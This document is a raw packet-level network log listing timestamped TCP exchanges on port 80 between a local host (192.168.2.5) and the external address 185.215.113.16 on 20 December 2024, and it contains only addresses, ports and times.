Dec 20, 2024 16:53:33.997932911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.997945070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.998092890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.998270035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.998281956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.998342991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.998788118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.998879910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.998891115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.998934031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.998934031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.999191999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.999203920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.999274015 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.999732971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.999806881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.999819040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.000036001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.000147104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.000159979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.000243902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.000618935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.000722885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.000735998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.000751972 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.000824928 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.001060963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.001075029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.001130104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.001607895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.001707077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.001719952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.001823902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.002036095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.002048969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.002132893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.002536058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.002599955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.002655029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.002666950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.002808094 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.003014088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.003031015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.003556013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.003571987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.003585100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.003623962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.003707886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.003921986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.003936052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.004041910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.004482985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.004534006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.004570007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.004582882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.004748106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.280818939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.400412083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.805180073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.805320024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.805332899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.805465937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.805794954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.805809975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.805823088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.805921078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.810369968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.810383081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.810395956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.810408115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.810420036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.810435057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.810445070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.810446024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.810482979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.810482979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.859250069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.934688091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.934761047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.934772968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.934914112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.935090065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.935122013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.935148954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.935157061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.935161114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.935333014 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.935946941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.935964108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.935976028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.935988903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.936001062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.936048985 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.936826944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.936837912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.936857939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.936871052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.936892986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.936892986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.937742949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.937798977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.937813997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.937824965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.937838078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.937868118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.937915087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.938674927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.938734055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.938745975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.938756943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:34.938803911 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:34.938832045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.077461958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.077483892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.077497959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.077614069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.077766895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.077780008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.077821970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.078035116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.078047991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.078068018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.078080893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.078087091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.078094006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.078129053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.078182936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.079008102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079021931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079032898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079046011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079060078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079144001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.079144001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.079864979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079878092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079891920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079904079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.079974890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.079974890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.080316067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.080327034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.080338955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.080394983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.080394983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.080733061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.080745935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.080791950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.080806017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.080817938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.080818892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.080862045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.081779957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.081796885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.081806898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.081820965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.081834078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.081847906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.081861019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.081886053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.081944942 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.081944942 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.082638025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.082648993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.082694054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.082706928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.082716942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.082731009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.082750082 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.082777977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.082885027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.083705902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.083719015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.083731890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.083745003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.083758116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.083770037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.083794117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.083837032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.083837032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.084538937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.084553003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.084562063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.084630013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.124810934 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.206362963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.206379890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.206392050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.206428051 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.206809044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.206892967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.206906080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.206964970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.206964970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.207326889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.207346916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.207370043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.207386971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.207413912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.207429886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.207928896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.207942963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.207954884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.207968950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.207988024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.208029032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.208651066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.208663940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.208676100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.208780050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.209213972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.209227085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.209239960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.209252119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.209264040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.209264040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.209291935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.209316969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.210175037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.210189104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.210200071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.210211992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.210222960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.210233927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.210251093 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.210273981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.210309029 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.211119890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.211168051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.211180925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.211191893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.211205006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.211289883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.211289883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.212133884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.212146997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.212157011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.212169886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.212181091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.212192059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.212204933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.212232113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.212232113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.212232113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.212270021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.213059902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.213073015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.213083982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.213103056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.213114023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.213116884 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.213125944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.213160992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.213334084 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.213983059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.214035988 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.214052916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.214066982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.214082956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.214139938 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.214139938 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.215014935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.215027094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.215037107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.215049028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.215059042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.215060949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.215073109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.215090036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.215178013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.216237068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.216248035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.216258049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.216269970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.216281891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.216301918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.216301918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.216344118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.217063904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.217076063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.217086077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.217092037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.217102051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.217113018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.217132092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.217163086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.217849970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.265475035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.269490957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.269510031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.269520998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.269601107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.269990921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270001888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270064116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270076036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270102978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.270102978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.270632029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270694971 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.270874023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270885944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270895958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270914078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270925999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.270931005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.271084070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.271990061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272001982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272012949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272018909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272028923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272047043 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.272142887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.272677898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272716045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272727013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272790909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.272936106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272947073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272955894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.272979021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.273014069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.286248922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.348757982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.348927975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.348939896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.348972082 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.349185944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.349199057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.349210978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.349242926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.349242926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.349744081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.349756002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.349766970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.349780083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.349792004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:35.349819899 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:35.349890947 CET	49739	80	192.168.2.5	185.215.113.16
